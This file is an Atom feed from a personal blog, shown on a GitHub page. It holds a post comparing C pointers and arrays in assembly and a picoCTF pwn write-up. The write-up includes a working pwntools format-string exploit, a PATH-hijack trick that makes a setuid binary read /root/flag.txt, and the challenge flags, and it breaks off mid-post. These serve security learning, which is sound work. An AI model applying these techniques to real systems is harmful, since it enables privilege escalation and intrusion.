-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
69 lines (35 loc) · 65 KB
/
Copy pathatom.xml
File metadata and controls
69 lines (35 loc) · 65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>vuk3r</title>
<link href="https://vuk3r.github.io/atom.xml" rel="self"/>
<link href="https://vuk3r.github.io/"/>
<updated>2026-01-22T14:25:47.536Z</updated>
<id>https://vuk3r.github.io/</id>
<author>
<name>vuk3r</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>[Dummy] - How different between Pointer and Array from Assembly Perspective ? </title>
<link href="https://vuk3r.github.io/2025/08/16/How_different_between%20Pointer_and_Array_from_Assembly_Perspective/"/>
<id>https://vuk3r.github.io/2025/08/16/How_different_between%20Pointer_and_Array_from_Assembly_Perspective/</id>
<published>2025-08-16T17:14:35.000Z</published>
<updated>2026-01-22T14:25:47.536Z</updated>
<content type="html"><![CDATA[<p>Everyone always told that “Pointer could be an Array” and “Array can be considered as a Ponter” so why it need to be divided into two concepts ?</p><p>I create a simple program for testing and debugging.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#include <stdio.h></span><br><span class="line"></span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> int arr[32] = {0x8, 0x10, 0x18, 0x20};</span><br><span class="line"> int *ptr = arr;</span><br><span class="line"> printf("aaaa");</span><br><span class="line"> printf("a[1]: %d\n", arr[1]);</span><br><span class="line"> printf("*(arr + 1): %d\n", *(arr + 1));</span><br><span class="line"></span><br><span class="line"> printf("*(ptr+1): %d\n", *(ptr+1));</span><br><span class="line"> printf("ptr[1]: %d\n", ptr[1]);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line">// gcc -o ./test ./test.c</span><br></pre></td></tr></table></figure><p>Because of its properties, Array can access its element like Pointer, also in reverse with Pointer. It is prove that Pointer can be an Array and Array can be a Pointer. </p><p>But the difference is how Asm see it ?</p><h3 id="Array"><a href="#Array" class="headerlink" title="Array"></a>Array</h3><p>I use Pwndbg for debugging. You can see that how it store my <code>arr</code> and <code>ptr</code> variables in stack :</p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/1.png" alt="image.png"></p><p>with the code :</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">int arr[32] = {0x8, 0x10, 0x18, 0x20};</span><br></pre></td></tr></table></figure><p>Whenever declare an Array, it store the same way with normal variables, it just combine all the variables with the same type in sequence for easily access. So it will store directly in the stack.</p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/2.png" alt="image.png"></p><p>You can see this is how <code>*(arr + 1)</code> work, Asm call directly to the address of <code>arr+1</code> and assign value for <code>eax</code>, then <code>esi</code>. The computer base on the <code>arr+0</code> address and calculate to <code>arr+1</code> address for accessing data, just like a Pointer :></p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/3.png" alt="image.png"></p><p>And you can see it the same way when calling in normal way <code>a[1]</code> </p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/4.png" alt="image.png"></p><h3 id="Pointer"><a href="#Pointer" class="headerlink" title="Pointer"></a>Pointer</h3><p><code>ptr</code> stored in <code>rbp-8</code>, storing <code>arr+0</code> address for accessing data.</p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/5.png" alt="image.png"></p><p>The code is plus <code>1</code> to ptr for next address variable:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">"*(ptr+1): %d\n"</span>, *(ptr+1));</span><br></pre></td></tr></table></figure><p>But the Pointer is the opposite with Array, because of knowing entry address of the array, array can access it easily, but the Pointer need to do some calculate for access is adding <code>0x4</code> ( size of <code>ptr</code>) like <code>ptr+1</code> into address value which <code>ptr</code> holding. </p><p><img src="/img/post/dummy/different-between-Pointer-and-Array/6.png" alt="image.png"></p><p>and then, <code>ptr</code> can access elements just like array. So you can use <code>ptr</code> for accessing data like array :</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">"ptr[1]: %d\n"</span>, ptr[1]);</span><br></pre></td></tr></table></figure><p>Just like that, easily distinguish between <strong>Pointer</strong> and <strong>Array</strong>. May be it the same, may be it not..</p>]]></content>
<summary type="html"><p>Everyone always told that “Pointer could be an Array” and “Array can be considered as a Ponter” so why it need to be divided into two con</summary>
<category term="Dummy" scheme="https://vuk3r.github.io/categories/Dummy/"/>
<category term="Dummy" scheme="https://vuk3r.github.io/tags/Dummy/"/>
</entry>
<entry>
<title>[Writeup] - Solving Pwn on PicoCTF</title>
<link href="https://vuk3r.github.io/2025/08/16/picoCTF_medium(1)/"/>
<id>https://vuk3r.github.io/2025/08/16/picoCTF_medium(1)/</id>
<published>2025-08-16T17:14:35.000Z</published>
<updated>2026-01-22T14:25:47.536Z</updated>
<content type="html"><![CDATA[<p>Hi guys, this is series clear pwn from medium up to highest difficulty. I write these writeups mainly about the things I’ve learned, so some parts might be detailed while others are brief. Even so, they may still be useful to you if you read them. If you have any questions, free to ask me, Im free to share :></p><h1 id="PIE-TIME-2"><a href="#PIE-TIME-2" class="headerlink" title="PIE TIME 2"></a>PIE TIME 2</h1><h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Author: Darkraicg492</span><br><span class="line"></span><br><span class="line">Description</span><br><span class="line">Can you <span class="keyword">try</span> to get the flag? I<span class="string">'m not revealing anything anymore!!</span></span><br><span class="line"><span class="string">Additional details will be available after launching your challenge instance.</span></span><br></pre></td></tr></table></figure><h2 id="Source"><a href="#Source" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><signal.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">segfault_handler</span><span class="params">()</span> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Segfault Occurred, incorrect address.\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">call_functions</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">char</span> buffer[<span class="number">64</span>];</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Enter your name:"</span>);</span><br><span class="line"> fgets(buffer, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line"> <span class="built_in">printf</span>(buffer);</span><br><span class="line"></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">long</span> val;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">" enter the address to jump to, ex => 0x12345: "</span>);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%lx"</span>, &val);</span><br><span class="line"></span><br><span class="line"> <span class="type">void</span> (*foo)(<span class="type">void</span>) = (<span class="type">void</span> (*)())val;</span><br><span class="line"> foo();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">win</span><span class="params">()</span> {</span><br><span class="line"> FILE *fptr;</span><br><span class="line"> <span class="type">char</span> c;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"You won!\n"</span>);</span><br><span class="line"> <span class="comment">// Open file</span></span><br><span class="line"> fptr = fopen(<span class="string">"flag.txt"</span>, <span class="string">"r"</span>);</span><br><span class="line"> <span class="keyword">if</span> (fptr == <span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Cannot open file.\n"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Read contents from file</span></span><br><span class="line"> c = fgetc(fptr);</span><br><span class="line"> <span class="keyword">while</span> (c != EOF)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span> (<span class="string">"%c"</span>, c);</span><br><span class="line"> c = fgetc(fptr);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"> fclose(fptr);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> signal(SIGSEGV, segfault_handler);</span><br><span class="line"> setvbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>, _IONBF, <span class="number">0</span>); <span class="comment">// _IONBF = Unbuffered</span></span><br><span class="line"></span><br><span class="line"> call_functions();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Checksec</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Arch: amd64</span><br><span class="line">RELRO: Full RELRO</span><br><span class="line">Stack: Canary found</span><br><span class="line">NX: NX enabled</span><br><span class="line">PIE: PIE enabled</span><br><span class="line">SHSTK: Enabled</span><br><span class="line">IBT: Enabled</span><br><span class="line">Stripped: No</span><br></pre></td></tr></table></figure><h2 id="Attack-analysis"><a href="#Attack-analysis" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p>My way is fast read all the code, so i can see vuln here, because printf need 2 parameter atleast to be safe, instead, it print the <code>buffer</code> value directly and it can has <code>format string</code> vulnerability</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">call_functions</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">char</span> buffer[<span class="number">64</span>];</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Enter your name:"</span>);</span><br><span class="line"> fgets(buffer, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line"> <span class="built_in">printf</span>(buffer);</span><br></pre></td></tr></table></figure><p>follow the root to find the branch, you can see <code>win()</code> function won’t be called in anywhere, so we have to call it by ourself.</p><p>And program flow is call <code>call_function()</code> to enter name, which has vuln <code>format string</code>. Then enter address to jump. So we can call <code>win()</code></p><p>so we need <code>win()</code> address, but we got <code>PIE</code>, you can see it in <code>checksec</code>. It means address will be random.</p><p>The address will be calculated follow format : <code>base address + offset</code></p><p>But as you know in code, random not really random, it needs some thing really random to calculate the random, like time. In binary we got <code>ASLR</code>, it’s make <code>base address</code> random with everytime we run, on each computer. In the other hands, it means offset is <code>permanent</code></p><p>so if we can leak any address, we can calculate to base address, hence, we can know every address by know its offset.</p><p>In summary, we have a reverse road :</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">enter <span class="title function_">win</span><span class="params">()</span> address ← </span><br><span class="line">know <span class="title function_">win</span><span class="params">()</span> address ←</span><br><span class="line">know win’s offset and base address ← </span><br><span class="line">leak some address from binary</span><br></pre></td></tr></table></figure><h2 id="Payload"><a href="#Payload" class="headerlink" title="Payload"></a>Payload</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) <= <span class="number">2</span>:</span><br><span class="line"> p = process(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>])</span><br><span class="line"> e = ELF(<span class="string">"./"</span> + sys.argv[<span class="number">1</span>], checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"> gdb.attach(p,</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">c</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"> remote_addr = sys.argv[<span class="number">1</span>]</span><br><span class="line"> remote_port = sys.argv[<span class="number">2</span>]</span><br><span class="line"> p = remote(remote_addr, <span class="built_in">int</span>(remote_port))</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'DEBUG'</span></span><br><span class="line">context.arch = <span class="string">'amd64'</span></span><br><span class="line"></span><br><span class="line">leak_to_base = <span class="number">0x1441</span></span><br><span class="line">win_to_base = <span class="number">0x136a</span></span><br><span class="line">p.sendlineafter(<span class="string">b'Enter your name:'</span>,<span class="string">b'%19$p'</span>)</span><br><span class="line"></span><br><span class="line">leaked_address = <span class="built_in">int</span>(p.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">base = leaked_address - leak_to_base</span><br><span class="line">win = base + win_to_base</span><br><span class="line"></span><br><span class="line">log.info(<span class="string">'binary leaked : '</span> + <span class="built_in">hex</span>(leaked_address))</span><br><span class="line">log.info(<span class="string">'base : '</span> + <span class="built_in">hex</span>(base))</span><br><span class="line">log.info(<span class="string">'win : '</span> + <span class="built_in">hex</span>(win))</span><br><span class="line"></span><br><span class="line">payload = <span class="built_in">hex</span>(win).encode()</span><br><span class="line">p.sendlineafter(<span class="string">b'0x12345:'</span>,payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>flag : <code>picoCTF{p13_5h0u1dn'7_134k_bb903549}</code></p><h1 id="hash-only-1-2"><a href="#hash-only-1-2" class="headerlink" title="hash-only-1-2"></a>hash-only-1-2</h1><h2 id="Description-1"><a href="#Description-1" class="headerlink" title="Description"></a>Description</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Author: Junias Bonou</span><br><span class="line"></span><br><span class="line">Description</span><br><span class="line">Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!</span><br><span class="line">Additional details will be available after launching your challenge instance.</span><br></pre></td></tr></table></figure><h2 id="Source-1"><a href="#Source-1" class="headerlink" title="Source"></a>Source</h2><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> __fastcall <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v3; <span class="comment">// rax</span></span><br><span class="line"> __int64 v4; <span class="comment">// rax</span></span><br><span class="line"> <span class="type">const</span> <span class="type">char</span> *v5; <span class="comment">// rax</span></span><br><span class="line"> __int64 v6; <span class="comment">// rdx</span></span><br><span class="line"> __int64 v7; <span class="comment">// rax</span></span><br><span class="line"> __int64 v8; <span class="comment">// rax</span></span><br><span class="line"> <span class="type">int</span> v9; <span class="comment">// ebx</span></span><br><span class="line"> <span class="type">char</span> v11; <span class="comment">// [rsp+Bh] [rbp-45h] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> v12; <span class="comment">// [rsp+Ch] [rbp-44h]</span></span><br><span class="line"> _BYTE v13[<span class="number">40</span>]; <span class="comment">// [rsp+10h] [rbp-40h] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v14; <span class="comment">// [rsp+38h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line"> v14 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line"> v3 = std::<span class="keyword">operator</span><<<std::char_traits<<span class="type">char</span>>>(&std::cout, <span class="string">"Computing the MD5 hash of /root/flag.txt.... "</span>, envp);</span><br><span class="line"> v4 = std::ostream::<span class="keyword">operator</span><<(v3, &std::endl<<span class="type">char</span>,std::char_traits<<span class="type">char</span>>>);</span><br><span class="line"> std::ostream::<span class="keyword">operator</span><<(v4, &std::endl<<span class="type">char</span>,std::char_traits<<span class="type">char</span>>>);</span><br><span class="line"> <span class="built_in">sleep</span>(<span class="number">2u</span>);</span><br><span class="line"> std::allocator<<span class="type">char</span>>::<span class="built_in">allocator</span>(&v11);</span><br><span class="line"> std::string::<span class="built_in">basic_string</span>(v13, <span class="string">"/bin/bash -c 'md5sum /root/flag.txt'"</span>, &v11);</span><br><span class="line"> std::allocator<<span class="type">char</span>>::~<span class="built_in">allocator</span>(&v11);</span><br><span class="line"> <span class="built_in">setgid</span>(<span class="number">0</span>);</span><br><span class="line"> <span class="built_in">setuid</span>(<span class="number">0</span>);</span><br><span class="line"> v5 = (<span class="type">const</span> <span class="type">char</span> *)std::string::<span class="built_in">c_str</span>(v13);</span><br><span class="line"> v12 = <span class="built_in">system</span>(v5);</span><br><span class="line"> <span class="keyword">if</span> ( v12 )</span><br><span class="line"> {</span><br><span class="line"> v7 = std::<span class="keyword">operator</span><<<std::char_traits<<span class="type">char</span>>>(&std::cerr, <span class="string">"Error: system() call returned non-zero value: "</span>, v6);</span><br><span class="line"> v8 = std::ostream::<span class="keyword">operator</span><<(v7, v12);</span><br><span class="line"> std::ostream::<span class="keyword">operator</span><<(v8, &std::endl<<span class="type">char</span>,std::char_traits<<span class="type">char</span>>>);</span><br><span class="line"> v9 = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> v9 = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> std::string::~<span class="built_in">string</span>(v13);</span><br><span class="line"> <span class="keyword">return</span> v9;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="Attack-analysis-1"><a href="#Attack-analysis-1" class="headerlink" title="Attack analysis"></a>Attack analysis</h2><p><em>Before run the program, create <code>/root/flag.txt</code> to make sure it run the properly way.</em></p><p>The program will execute the command : <code>/bin/bash -c ‘md5sum /root/flag.txt’</code></p><p>md5sum is a command to verify integrity of a file, but we will ignore it, because in this challenge we will tricked the system.</p><p><code>md5sum</code> just a command like <code>ls</code>,<code>cd</code>,… are bash scripts too but why we don’t need full path to call it ? </p><p>let’s create a bash script to see how its call will different from those command : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ echo echo <span class="string">'im in'</span> > script</span><br><span class="line"></span><br><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ ./script</span><br><span class="line">im in</span><br><span class="line"></span><br><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ script</span><br><span class="line">Script started, output log file is <span class="string">'typescript'</span>.</span><br><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$</span><br></pre></td></tr></table></figure><p>hmmm… Why i can’t execute like <code>ls</code> or <code>md5sum</code> ? I have to put <code>./</code> in the head to run. So it means system doesn’t mean which command i want to execute ?</p><p> Yes, exactly how it works. You should use the command</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo $PATH</span><br></pre></td></tr></table></figure><p>to see which path system know to execute, and when you call <code>ls</code> command, it will find in all the path listed in the above command, to locate <code>ls</code> </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ echo $PATH</span><br><span class="line">/home/d4vicl/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/games:...</span><br></pre></td></tr></table></figure><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ which ls</span><br><span class="line">/usr/bin/ls</span><br></pre></td></tr></table></figure><p><code>‘which ls’</code> to show where <code>ls</code> locate, and when you read <code>$PATH</code>, you can see it has <code>/usr/bin</code> - the folder contain <code>ls</code> command.</p><p>so to run a program like this (the <code>script</code> is the file i created above)</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ script</span><br><span class="line">im in</span><br></pre></td></tr></table></figure><p>you will need to use this command : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">┌──(d4vicl㉿Device)-[/mnt/e/CTF/C_PWN/ctf_platform/picoCTF/medium_hash-only<span class="number">-1</span>]</span><br><span class="line">└─$ PATH=.:$PATH</span><br></pre></td></tr></table></figure><p>PATH : is a enviroment variable name</p><p> $PATH : is a value of PATH</p><p>so it means it will concate current directory (the place you’re standing) <code>.</code> to $PATH - which showed above. </p><p>Hence, when you use any command, it will find in <code>.</code> - the current directory.</p><p>Specially, it will find command in <code>.</code> first, after that are all the directory listed in order left to right.</p><p><em>So what if exist two command with the same name but in different directory ? Which command will be executed ?</em> </p><ul><li>the answer is the one when it found first, then the others which it can find.</li></ul><p>So if we use</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PATH=.:$PATH</span><br></pre></td></tr></table></figure><p> it will include <code>.</code> in head. That how we take advantage from it !<br>back to the program, it will call : </p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">std::string::<span class="built_in">basic_string</span>(v13, <span class="string">"/bin/bash -c 'md5sum /root/flag.txt'"</span>, &v11);</span><br><span class="line">std::allocator<<span class="type">char</span>>::~<span class="built_in">allocator</span>(&v11);</span><br><span class="line"><span class="built_in">setgid</span>(<span class="number">0</span>);</span><br><span class="line"><span class="built_in">setuid</span>(<span class="number">0</span>);</span><br><span class="line">v5 = (<span class="type">const</span> <span class="type">char</span> *)std::string::<span class="built_in">c_str</span>(v13);</span><br><span class="line">v12 = <span class="built_in">system</span>(v5);</span><br></pre></td></tr></table></figure><p>you can see it set <code>gid(0)</code> which means every group ID’s process will be <code>0</code> - root process</p><p>we don’t need to know if it set successfully or not, because if it return <code>0</code>, it means this file wil get <code>root</code> to run. </p><p><code>-1</code> means it already run in <code>root</code> (lol).</p><p> so we don’t have root permission, to read <code>/root/flag.txt</code>, only need to fake md5sum to read. </p><p>create a <code>md5sum</code> file with this content in current directory :</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /root/flag.txt</span><br></pre></td></tr></table></figure><p>then, we could run <code>flaghasher</code> again to get flag.</p><p>with <code>hash-only-2</code> we will use <code>sh</code> command when ssh connected, then do the same to <code>hash-only-1</code></p><p>flag 1: <code>picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_ae1d8678}</code></p><p>flag 2: <code>picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_1a74f5fd}</code></p><h1 id="format-string-2"><a href="#format-string-2" class="headerlink" title="format string 2"></a>format string 2</h1><h2 id="Description-2"><a href="#Description-2" class="headerlink" title="Description"></a>Description</h2><h2 id="Source-2"><a href="#Source-2" class="headerlink" title="Source"></a>Source</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> sus = <span class="number">0x21737573</span>;</span><br><span class="line"></span><br><span 